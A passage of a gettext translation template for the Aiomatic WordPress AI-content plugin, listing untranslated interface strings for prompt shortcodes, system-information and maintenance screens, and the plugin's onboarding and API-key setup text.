%%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:3305 msgid "Listicle Entries Prompt" msgstr "" #: res/aiomatic-listicle-list.php:3318 msgid "AI Model For Listicle Entries Generator" msgstr "" #: res/aiomatic-listicle-list.php:3347 msgid "Listicle Entries Content Prompt" msgstr "" #: res/aiomatic-listicle-list.php:3389 res/aiomatic-rules-list.php:3718 #: res/aiomatic-youtube-list.php:3453 msgid "" "Use the Above Content Prompt To Create The Entire Article (Not Each Section)" msgstr "" #: res/aiomatic-listicle-list.php:3404 res/aiomatic-rules-list.php:3733 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " "this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, " "to get a list of PAA questions for the KEYWORD you want to use. Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-listicle-list.php:3446 res/aiomatic-rules-list.php:3775 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " "this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, " "to get a list of PAA questions for the KEYWORD you want to use. Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-listicle-list.php:3488 res/aiomatic-rules-list.php:3817 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:3755 res/aiomatic-rules-list.php:4311 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI " "category generator. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:3908 res/aiomatic-rules-list.php:4464 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI tag " "generator. You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. You can also add a link to a TXT file, containing keywords " "(one per line), or to an RSS feed. If you use RSS feeds, you can also use " "the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:4081 res/aiomatic-rules-list.php:4648 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. The length of this command should not " "be greater than 1000 characters, otherwise the plugin will strip it to 1000 " "characters length. - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. If you use Royalty Free Images as a source, you can also set " "their keywords here, if no keywords set, they will be automatically " "generated. You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. The [aicontent] shortcode is able to be used also " "here." msgstr "" #: res/aiomatic-listicle-list.php:4178 res/aiomatic-rules-list.php:4745 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-logs.php:54 msgid "Activity Logs" msgstr "" #: res/aiomatic-logs.php:55 msgid "Maintenance" msgstr "" #: res/aiomatic-logs.php:56 msgid "System Info" msgstr "" #: res/aiomatic-logs.php:60 msgid "General System Info:" msgstr "" #: res/aiomatic-logs.php:64 msgid "Some general system information." msgstr "" #: res/aiomatic-logs.php:72 msgid "Your User Agent:" msgstr "" #: res/aiomatic-logs.php:76 msgid "PHP Memory Limit:" msgstr "" #: res/aiomatic-logs.php:80 msgid "PHP DateTime Class:" msgstr "" #: res/aiomatic-logs.php:81 res/aiomatic-logs.php:85 msgid "Available" msgstr "" #: res/aiomatic-logs.php:81 res/aiomatic-logs.php:85 msgid "Not available" msgstr "" #: res/aiomatic-logs.php:84 msgid "PHP Curl:" msgstr "" #: res/aiomatic-logs.php:90 msgid "Detailed System Info:" msgstr "" #: res/aiomatic-logs.php:94 msgid "More advanced and detailed system information." msgstr "" #: res/aiomatic-logs.php:100 res/aiomatic-logs.php:104 msgid "WordPress Environment" msgstr "" #: res/aiomatic-logs.php:109 msgid "Home URL" msgstr "" #: res/aiomatic-logs.php:109 msgid "Home URL:" msgstr "" #: res/aiomatic-logs.php:111 msgid "The URL of your site's homepage." msgstr "" #: res/aiomatic-logs.php:116 msgid "Site URL" msgstr "" #: res/aiomatic-logs.php:116 msgid "Site URL:" msgstr "" #: res/aiomatic-logs.php:117 msgid "The root URL of your site." msgstr "" #: res/aiomatic-logs.php:121 msgid "WP Version" msgstr "" #: res/aiomatic-logs.php:121 msgid "WP Version:" msgstr "" #: res/aiomatic-logs.php:123 msgid "The version of WordPress installed on your site." msgstr "" #: res/aiomatic-logs.php:127 msgid "WP Multisite" msgstr "" #: res/aiomatic-logs.php:127 msgid "WP Multisite:" msgstr "" #: res/aiomatic-logs.php:129 msgid "Whether or not you have WordPress Multisite enabled." msgstr "" #: res/aiomatic-logs.php:134 msgid "WP Memory Limit" msgstr "" #: res/aiomatic-logs.php:134 msgid "WP Memory Limit:" msgstr "" #: res/aiomatic-logs.php:136 msgid "The maximum amount of memory (RAM) that your site can use at one time." msgstr "" #: res/aiomatic-logs.php:142 #, php-format msgid "" "%1$s - We recommend setting memory to at least 64MB. To " "learn how, see: Increasing memory allocated to PHP." msgstr "" #: res/aiomatic-logs.php:150 msgid "WP Debug Mode" msgstr "" #: res/aiomatic-logs.php:150 msgid "WP Debug Mode:" msgstr "" #: res/aiomatic-logs.php:152 msgid "Displays whether or not WordPress is in Debug Mode." msgstr "" #: res/aiomatic-logs.php:163 res/aiomatic-logs.php:404 #: res/aiomatic-single-list.php:711 msgid "Language" msgstr "" #: res/aiomatic-logs.php:163 msgid "Language:" msgstr "" #: res/aiomatic-logs.php:165 msgid "The current language used by WordPress. Default = English" msgstr "" #: res/aiomatic-logs.php:172 res/aiomatic-logs.php:176 msgid "Server Environment" msgstr "" #: res/aiomatic-logs.php:181 msgid "PHP Version" msgstr "" #: res/aiomatic-logs.php:181 msgid "PHP Version:" msgstr "" #: res/aiomatic-logs.php:182 msgid "The version of PHP installed on your hosting server." msgstr "" #: res/aiomatic-logs.php:190 msgid "PHP Post Max Size" msgstr "" #: res/aiomatic-logs.php:190 msgid "PHP Post Max Size:" msgstr "" #: res/aiomatic-logs.php:191 msgid "The largest file size that can be contained in one post." msgstr "" #: res/aiomatic-logs.php:195 msgid "PHP Time Limit" msgstr "" #: res/aiomatic-logs.php:195 msgid "PHP Time Limit:" msgstr "" #: res/aiomatic-logs.php:196 msgid "" "The amount of time (in seconds) that your site will spend on a single " "operation before timing out (to avoid server lockups)" msgstr "" #: res/aiomatic-logs.php:201 res/aiomatic-logs.php:205 #, php-format msgid "" "%1$s - We recommend setting max execution time to at least 600.
                    To " "generate long articles, 1000 seconds of max execution time " "is recommended.
                    See: Increasing max execution to PHP" msgstr "" #: res/aiomatic-logs.php:212 msgid "PHP Max Input Vars" msgstr "" #: res/aiomatic-logs.php:212 msgid "PHP Max Input Vars (optional):" msgstr "" #: res/aiomatic-logs.php:214 msgid "" "The maximum number of variables your server can use for a single function to " "avoid overloads. This is an optional settings, as the plugin can handle also " "cases when this is lower than the required value." msgstr "" #: res/aiomatic-logs.php:233 res/aiomatic-logs.php:268 #: res/aiomatic-logs.php:296 #, php-format msgid "" "%1$s - Recommended Value: %2$s.
                    Max input vars limitation will truncate " "POST data such as menus. See: Increasing max input vars limit." msgstr "" #: res/aiomatic-logs.php:241 msgid "SUHOSIN Installed" msgstr "" #: res/aiomatic-logs.php:241 msgid "SUHOSIN Installed:" msgstr "" #: res/aiomatic-logs.php:242 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself.\n" "\t\tIf enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" #: res/aiomatic-logs.php:248 msgid "Suhosin Post Max Vars" msgstr "" #: res/aiomatic-logs.php:248 msgid "Suhosin Post Max Vars:" msgstr "" #: res/aiomatic-logs.php:249 res/aiomatic-logs.php:277 msgid "" "The maximum number of variables your server can use for a single function to " "avoid overloads." msgstr "" #: res/aiomatic-logs.php:276 msgid "Suhosin Request Max Vars" msgstr "" #: res/aiomatic-logs.php:276 msgid "Suhosin Request Max Vars:" msgstr "" #: res/aiomatic-logs.php:304 msgid "Suhosin Post Max Value Length" msgstr "" #: res/aiomatic-logs.php:304 msgid "Suhosin Post Max Value Length:" msgstr "" #: res/aiomatic-logs.php:305 msgid "" "Defines the maximum length of a variable that is registered through a POST " "request." msgstr "" #: res/aiomatic-logs.php:310 #, php-format msgid "" "%1$s - Recommended Value: %2$s.
                    Post Max Value Length limitation may " "prohibit the Theme Options data from being saved to your database. See: Suhosin " "Configuration Info." msgstr "" #: res/aiomatic-logs.php:318 msgid "MySQL Version" msgstr "" #: res/aiomatic-logs.php:318 msgid "MySQL Version:" msgstr "" #: res/aiomatic-logs.php:319 msgid "The version of MySQL installed on your hosting server." msgstr "" #: res/aiomatic-logs.php:325 msgid "WP Max Upload Size" msgstr "" #: res/aiomatic-logs.php:325 msgid "WP Max Upload Size:" msgstr "" #: res/aiomatic-logs.php:326 msgid "" "The largest file size that can be uploaded to your WordPress installation." msgstr "" #: res/aiomatic-logs.php:330 msgid "DOMDocument" msgstr "" #: res/aiomatic-logs.php:330 msgid "DOMDocument:" msgstr "" #: res/aiomatic-logs.php:331 msgid "" "DOMDocument is required for the Fusion Builder plugin to properly function." msgstr "" #: res/aiomatic-logs.php:335 msgid "GD Library" msgstr "" #: res/aiomatic-logs.php:335 msgid "GD Library:" msgstr "" #: res/aiomatic-logs.php:336 msgid "" "Aiomatic uses this library to resize images and speed up your site's loading " "time" msgstr "" #: res/aiomatic-logs.php:339 msgid "Not Installed" msgstr "" #: res/aiomatic-logs.php:341 msgid "Installed" msgstr "" #: res/aiomatic-logs.php:353 msgid "More Info" msgstr "" #: res/aiomatic-logs.php:364 msgid "MySQL Detailed version" msgstr "" #: res/aiomatic-logs.php:369 msgid "cURL version" msgstr "" #: res/aiomatic-logs.php:374 msgid "cURL SSL version" msgstr "" #: res/aiomatic-logs.php:379 msgid "WP-Cron url" msgstr "" #: res/aiomatic-logs.php:384 msgid "Document root" msgstr "" #: res/aiomatic-logs.php:389 msgid "SERVER" msgstr "" #: res/aiomatic-logs.php:394 msgid "Operating System" msgstr "" #: res/aiomatic-logs.php:399 msgid "Maximum execution time" msgstr "" #: res/aiomatic-logs.php:400 #, php-format msgid "%s seconds" msgstr "" #: res/aiomatic-logs.php:409 msgid "MySQL Client encoding" msgstr "" #: res/aiomatic-logs.php:414 msgid "PHP Max Upload Size" msgstr "" #: res/aiomatic-logs.php:419 msgid "Remote Post" msgstr "" #: res/aiomatic-logs.php:424 msgid "Remote Get" msgstr "" #: res/aiomatic-logs.php:431 msgid "Is CRON running" msgstr "" #: res/aiomatic-logs.php:437 msgid "Loaded PHP Extensions" msgstr "" #: res/aiomatic-logs.php:441 msgid "Required PHP Extensions" msgstr "" #: res/aiomatic-logs.php:450 msgid "System Information" msgstr "" #: res/aiomatic-logs.php:453 msgid "Setting" msgstr "" #: res/aiomatic-logs.php:454 res/aiomatic-single-list.php:430 #: res/aiomatic-single-list.php:441 res/aiomatic-single-list.php:452 msgid "Value" msgstr "" #: res/aiomatic-logs.php:469 res/aiomatic-logs.php:473 msgid "Active Plugins" msgstr "" #: res/aiomatic-logs.php:490 msgid "Visit plugin homepage" msgstr "" #: res/aiomatic-logs.php:496 msgid "by" msgstr "" #: res/aiomatic-logs.php:510 msgid "Rules Currently Running:" msgstr "" #: res/aiomatic-logs.php:514 msgid "These rules are currently running on your server." msgstr "" #: res/aiomatic-logs.php:546 msgid "No rules are running right now" msgstr "" #: res/aiomatic-logs.php:551 msgid "Are you sure you want to clear the running list?" msgstr "" #: res/aiomatic-logs.php:552 msgid "Caution! This is for debugging purpose only!" msgstr "" #: res/aiomatic-logs.php:552 msgid "Clear Running Rules List" msgstr "" #: res/aiomatic-logs.php:560 res/aiomatic-logs.php:570 msgid "Restore Plugin Default Settings" msgstr "" #: res/aiomatic-logs.php:564 msgid "" "Hit this button and the plugin settings will be restored to their default " "values. Warning! All settings will be lost!" msgstr "" #: res/aiomatic-logs.php:570 msgid "Are you sure you want to restore the default plugin settings?" msgstr "" #: res/aiomatic-logs.php:577 msgid "Delete All Posts Generated by this Plugin:" msgstr "" #: res/aiomatic-logs.php:581 msgid "Hit this button and all posts generated by this plugin will be deleted!" msgstr "" #: res/aiomatic-logs.php:587 msgid "" "Are you sure you want to delete all generated posts? This can take a while, " "please wait until it finishes." msgstr "" #: res/aiomatic-logs.php:587 msgid "Delete All Generated Posts" msgstr "" #: res/aiomatic-logs.php:594 msgid "Delete All Rules from All Section: " msgstr "" #: res/aiomatic-logs.php:598 msgid "Hit this button and all rules will be deleted!" msgstr "" #: res/aiomatic-logs.php:612 msgid "Activity Log:" msgstr "" #: res/aiomatic-logs.php:616 msgid "" "This is the main log of your plugin. Here will be listed every single " "instance of the rules you run or are automatically run by schedule jobs (if " "you enable logging, in the plugin configuration)." msgstr "" #: res/aiomatic-logs.php:622 msgid "Are you sure you want to delete all logs?" msgstr "" #: res/aiomatic-logs.php:623 msgid "Delete Logs" msgstr "" #: res/aiomatic-logs.php:636 msgid "Log empty" msgstr "" #: res/aiomatic-main.php:14 msgid "Aiomatic - AI Content Writer, Editor, ChatBot & AI Toolkit" msgstr "" #: res/aiomatic-main.php:14 msgid "Version" msgstr "" #: res/aiomatic-main.php:21 msgid "Plugin Activation" msgstr "" #: res/aiomatic-main.php:32 msgid "General Settings" msgstr "" #: res/aiomatic-main.php:33 msgid "Bulk Posts" msgstr "" #: res/aiomatic-main.php:35 msgid "Advanced AI Settings" msgstr "" #: res/aiomatic-main.php:36 msgid "AI Images" msgstr "" #: res/aiomatic-main.php:37 msgid "AI Videos" msgstr "" #: res/aiomatic-main.php:39 msgid "Cloud Storage" msgstr "" #: res/aiomatic-main.php:40 msgid "Statistics" msgstr "" #: res/aiomatic-main.php:42 msgid "AI Internet Access" msgstr "" #: res/aiomatic-main.php:43 res/aiomatic-main.php:9996 msgid "Random Sentences" msgstr "" #: res/aiomatic-main.php:44 res/aiomatic-main.php:10063 msgid "Custom HTML" msgstr "" #: res/aiomatic-main.php:45 res/aiomatic-main.php:10112 msgid "Keyword Replacer" msgstr "" #: res/aiomatic-main.php:49 msgid "AI Commenter" msgstr "" #: res/aiomatic-main.php:50 res/aiomatic-main.php:5979 msgid "AI Taxonomy SEO" msgstr "" #: res/aiomatic-main.php:51 msgid "Link Keywords" msgstr "" #: res/aiomatic-main.php:52 res/aiomatic-main.php:4425 msgid "YouTube Embeds" msgstr "" #: res/aiomatic-main.php:53 res/aiomatic-main.php:5857 msgid "AI Image Selector" msgstr "" #: res/aiomatic-main.php:55 res/aiomatic-main.php:5025 msgid "Web Scraping" msgstr "" #: res/aiomatic-main.php:56 res/aiomatic-main.php:4588 msgid "WP-CLI" msgstr "" #: res/aiomatic-main.php:57 res/aiomatic-main.php:4619 msgid "REST API" msgstr "" #: res/aiomatic-main.php:1662 res/aiomatic-spinner-list.php:989 msgid "Plugin registration failed!" msgstr "" #: res/aiomatic-main.php:1671 res/aiomatic-spinner-list.php:998 msgid "Plugin registration successful!" msgstr "" #: res/aiomatic-main.php:1689 msgid "Welcome to the Aiomatic plugin!" msgstr "" #: res/aiomatic-main.php:1690 msgid "Hello, my name is" msgstr "" #: res/aiomatic-main.php:1690 msgid "I am the developer of the" msgstr "" #: res/aiomatic-main.php:1690 msgid "plugin" msgstr "" #: res/aiomatic-main.php:1690 msgid "I am really excited to have you on board as a user!" msgstr "" #: res/aiomatic-main.php:1692 msgid "" "Aiomatic is a powerful tool that can help you generate high-quality, AI-" "created content for your WordPress site. Whether you're a blogger, marketer, " "or simply looking to automate your content creation process, Aiomatic has " "everything you need to get started." msgstr "" #: res/aiomatic-main.php:1694 msgid "" "If you're looking to edit existing or newly published posts, Aiomatic also " "offers AI content editors and AI-generated featured images to help " "streamline the process. And with advanced features like AI model fine-" "tuning, AI embeddings, and usage statistics, you can take your content " "creation to the next level and produce high-quality, engaging posts in no " "time." msgstr "" #: res/aiomatic-main.php:1695 msgid "Getting started?" msgstr "" #: res/aiomatic-main.php:1696 msgid "" "To set up the plugin in a fast and efficient way, click the \"Start Plugin " "Quick Setup Now\" button from below, which will guide you trough the " "essential steps to set up the plugin and will also teach you about its " "functionality." msgstr "" #: res/aiomatic-main.php:1699 msgid "Start Plugin Quick Setup Now" msgstr "" #: res/aiomatic-main.php:1702 msgid "" "If you don't want to use the above Quick Setup, to begin using the plugin, " "click on the 'Plugin Activation' tab from above and register your Envato " "purchase code. This will allow you to benefit of the full feature set of " "this plugin. To learn how to find your purchase code for the plugin, check" msgstr "" #: res/aiomatic-main.php:1702 msgid "this video" msgstr "" #: res/aiomatic-main.php:1704 msgid "Afterwards, you need to add your" msgstr "" #: res/aiomatic-main.php:1704 msgid "API key or" msgstr "" #: res/aiomatic-main.php:1704 msgid "" "API key into the plugin's settings (depending which service you choose). You " "can do this by going to the 'API keys' tab from above. In this tab you will " "find also some additional API keys to add, like" msgstr "" #: res/aiomatic-main.php:1704 msgid "to create images using Stable Difussion" msgstr "" #: res/aiomatic-main.php:1704 msgid "used for the plugin's Embeddings functionality" msgstr "" #: res/aiomatic-main.php:1706 msgid "" "Now you are ready to get started seeing the plugin in action! You can hover " "your mouse over the Aiomatic menu in your WordPress dashboard. From there, " "you can choose to generate a single AI post or to create bulk automatic AI-" "created posts, complete with rich HTML content and royalty-free or AI-" "generated images. You can also edit existing or newly published posts, using " "an AI content editor. If you are an advanced user or you want to learn how " "to squize more out of the plugin and AI in general, check the Embeddings and " "Model Training features of the plugin. Finally, stop over to see the usage " "charts of the plugin and set limits for its API usage (if you feel that this " "is needed)." msgstr "" #: res/aiomatic-main.php:1708 msgid "" "You can also add a fully customizable chatbot to your site to engage with " "visitors and provide them with the information they need in real-time." msgstr "" #: res/aiomatic-main.php:1709 msgid "What is Aiomatic?" msgstr "" #: res/aiomatic-main.php:1710 msgid "" "Aiomatic is a comprehensive WordPress plugin that leverages the capabilities " "of artificial intelligence to create content, chatbots, images, audio, and " "more. This all-in-one AI suite includes features such as Custom ChatGPT, " "Content Creator, Automatic Content Generator, Content Wizard, AI Forms, " "Image Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, and " "more, all powered by GPT-3, GPT-3.5 and GPT-4." msgstr "" #: res/aiomatic-main.php:1711 msgid "Understanding How It Functions" msgstr "" #: res/aiomatic-main.php:1712 msgid "" "The Aiomatic plugin operates in conjunction with the OpenAI API or with " "AiomaticAPI (whichever you choose to use). To utilize it, you must first " "create an account on OpenAI and paste your API key in the plugin's settings " "('API Keys' tab from the top). OpenAI offers a $5 credit for new users. If " "you see a message stating, \"You exceeded your current quota, please check " "your plan and billing details\" it means you've depleted your OpenAI quota " "and need to buy more credit from OpenAI." msgstr "" #: res/aiomatic-main.php:1714 msgid "" "Acquiring the Aiomatic plugin does not include any OpenAI credit. Purchasing " "Aiomatic grants you access to the plugin's advanced features, but it doesn't " "cover any API credit. You'll need to buy credit from OpenAI or a " "subscription from AiomaticAPI separately." msgstr "" #: res/aiomatic-main.php:1716 msgid "" "If you notice any slowdown or failure in content generation, it could be due " "to issues with the OpenAI API services. Please wait until their services are " "back to normal before attempting again." msgstr "" #: res/aiomatic-main.php:1717 msgid "Setting Up Your API Key" msgstr "" #: res/aiomatic-main.php:1718 msgid "Visit" msgstr "" #: res/aiomatic-main.php:1718 msgid "or" msgstr "" #: res/aiomatic-main.php:1718 msgid "and create your API key." msgstr "" #: res/aiomatic-main.php:1720 msgid "Navigate to the 'API Keys' tab on the top of this admin page." msgstr "" #: res/aiomatic-main.php:1722 msgid "" "Input your API key in the 'OpenAI / AiomaticAPI API Keys (One Per Line)' " "settings field and hit the Save button." msgstr "" #: res/aiomatic-main.php:1724 msgid "You're all set!" msgstr "" #: res/aiomatic-main.php:1726 msgid "" "How to use different features of the plugin? Like AI chatbot, AI content " "creator, AI Content Editor, AI Model Training, Embeddings, AI Forms and many " "more?" msgstr "" #: res/aiomatic-main.php:1727 msgid "" "Depending for which feature are you looking for, be sure to navigate to the " "respective menu of the Aiomatic plugin, wehre you will find a 'Tutorial' tab " "for each of the features available in the plugin. There you will find also a " "tutorial video, with detailed description of the feature you are setting up." msgstr "" #: res/aiomatic-main.php:1728 msgid "Using the Content Wizard" msgstr "" #: res/aiomatic-main.php:1730 msgid "" "The Content Wizard is a feature that allows you to add a button to the " "WordPress editor to assist in content creation. You can add your own menus " "with your own prompts. The Content Wizard is compatible with both Gutenberg " "and Classic Editor. Navigate to your Gutenberg or Classic Editor and look " "for the Aiomatic plugin's logo in the toolbar. Click on the logo and select " "the menu you want to use. Click the prompt you want to use. Please note that " "you need to use the \"Convert to Block\" feature in the Gutenberg Editor to " "use the Content Wizard." msgstr "" #: res/aiomatic-main.php:1731 msgid "Some Important Notes:" msgstr "" #: res/aiomatic-main.php:1734 msgid "" "Note 1: Don't forget to secure your API key from OpenAI (don't share it with " "anyone)." msgstr "" #: res/aiomatic-main.php:1736 msgid "Note 2: If you're using Cloudflare, please read below." msgstr "" #: res/aiomatic-main.php:1738 msgid "" "Note 3: If you're using the WP Rocket caching plugin, please deactivate and " "reactivate your caching plugin." msgstr "" #: res/aiomatic-main.php:1740 msgid "" "Note 4: If your server has a timeout limit (max_execution_time server " "settings limited), you may not be able to generate longer content. Please " "request your hosting provider to extend the server timeout limit to at least " "10-15 minutes to generate longer content." msgstr "" #: res/aiomatic-main.php:1742 msgid "" "Note 5: If you're using iThemes security, please ensure to allow PHP calls " "from the plugin folder, otherwise, some features of the plugin might not " "work." msgstr "" #: res/aiomatic-main.php:1744 msgid "Using CloudFlare for this website?" msgstr "" #: res/aiomatic-main.php:1745 msgid "" "If you encounter slowdowns or a even a full halt in your content creation " "workflow, the problem could potentially come from Cloudflare." msgstr "" #: res/aiomatic-main.php:1746 msgid "" "To better understand how this might be happening, it is helpful to first " "understand how the content generation part of the plugin functions. In most " "cases, when you request the plugin to create a post with a AI generated " "title, 5 headings, intro + outro and a Q&A section, the plugin sends 1 API " "request to generate the title, 5 different API requests for the headings, 3 " "API requests for the intro, outro and Q&A sections. So, for a single post, " "there might be 9 or more API calls to OpenAI/AiomaticAPI. If each request " "takes 20 seconds to receive a response, this means that generating this post " "could take up to 180 seconds in total." msgstr "" #: res/aiomatic-main.php:1747 msgid "" "Unfortunately, the default connection timeout for Cloudflare is set at 100 " "seconds. This implies that if you're utilizing Cloudflare's default plan and " "fail to receive all responses from OpenAI within the 100-second window, " "Cloudflare will reach its timeout limit, resulting in it fully stopping " "content creation. However, CloudFlare Enterprise users have the option to " "extend this timeout limit to 6000 seconds either through the Cloudflare API " "or by reaching out to customer service. Note that only CloudFlare's " "Enterprise plan will allow this settings change." msgstr "" #: res/aiomatic-main.php:1749 msgid "" "If you're a Cloudflare user and you are facing slowdowns in your content " "creation workflow, one potential remedy could be to extend the connection " "timeout on Cloudflare (if this is possible in your case). Another approach " "could be to deactivate CloudFlare while you are using the Aiomatic plugin on " "your site for long content creation (which uses multiple API requests)." msgstr "" #: res/aiomatic-main.php:1750 msgid "Using a LiteSpeed Web Server for this website?" msgstr "" #: res/aiomatic-main.php:1751 msgid "" "If you are using a LiteSpeed web server, you might need to configure it to " "allow longer execution times of Aiomatic." msgstr "" #: res/aiomatic-main.php:1752 msgid "Check this link for details" msgstr "" #: res/aiomatic-main.php:1753 msgid "Need help?" msgstr "" #: res/aiomatic-main.php:1754 msgid "If you need help getting started with Aiomatic, be sure to check out" msgstr "" #: res/aiomatic-main.php:1754 msgid "" "for tutorial videos and other helpful resources. Here you can always find " "what was the newest update for it and how it got improved. I am constantly " "adding new updates to the plugin to help you get the most out of it, so be " "sure to subscribe and stay up to date with the latest version of the plugin." msgstr "" #: res/aiomatic-main.php:1756 msgid "If your issue is more technical, create a ticket and ask for support on" msgstr "" #: res/aiomatic-main.php:1756 msgid "Aiomatic's Support Page" msgstr "" #: res/aiomatic-main.php:1757 msgid "For more information about the plugin, please visit" msgstr "" #: res/aiomatic-main.php:1757 msgid "playlists on YouTube." msgstr "" #: res/aiomatic-main.php:1759 msgid "Feel free to join our Discord community" msgstr "" #: res/aiomatic-main.php:1761 msgid "Now go have some fun using the plugin!" msgstr "" #: res/aiomatic-main.php:1763 msgid "" "Thank you for choosing Aiomatic, and I look forward to the plugin helping " "you create amazing content and features for your WordPress site!" msgstr "" #: res/aiomatic-main.php:1772 msgid "Plugin's Main Switch:" msgstr "" #: res/aiomatic-main.php:1776 msgid "" "Fully enabled or disables the plugins functionality. If you want to use the " "plugin, be sure to keep this set to 'ON'." msgstr "" #: res/aiomatic-main.php:1789 msgid "" "Plugin activation enables the full functionality of the plugin, enable " "automatic updates for it to never miss the latest features available." msgstr "" #: res/aiomatic-main.php:1792 msgid "" "The entire plugin's functionality is disabled! Please enable it from the " "above switch." msgstr "" #: res/aiomatic-main.php:1858 msgid "" "The Aiomatic plugin is not activated, its functionality is disabled. Please " "activate the plugin from below!" msgstr "" #: res/aiomatic-main.php:1861 msgid "Plugin Activation:" msgstr "" #: res/aiomatic-main.php:1884 msgid "Tips and tricks:" msgstr "" #: res/aiomatic-main.php:1888 #, php-format msgid "" "Need help configuring this plugin? Please check out it's video tutorial." msgstr "" #: res/aiomatic-main.php:1890 #, php-format msgid "" "Having issues with the plugin? Please be sure to check out our knowledge-base before you contact our support!" msgstr "" #: res/aiomatic-main.php:1891 #, php-format msgid "" "Do you enjoy our plugin? Please give it a rating on CodeCanyon, or check our website for other cool plugins." msgstr "" #: res/aiomatic-main.php:1898 msgid "API Key Settings" msgstr "" #: res/aiomatic-main.php:1900 msgid "" "The 'API Keys' menu 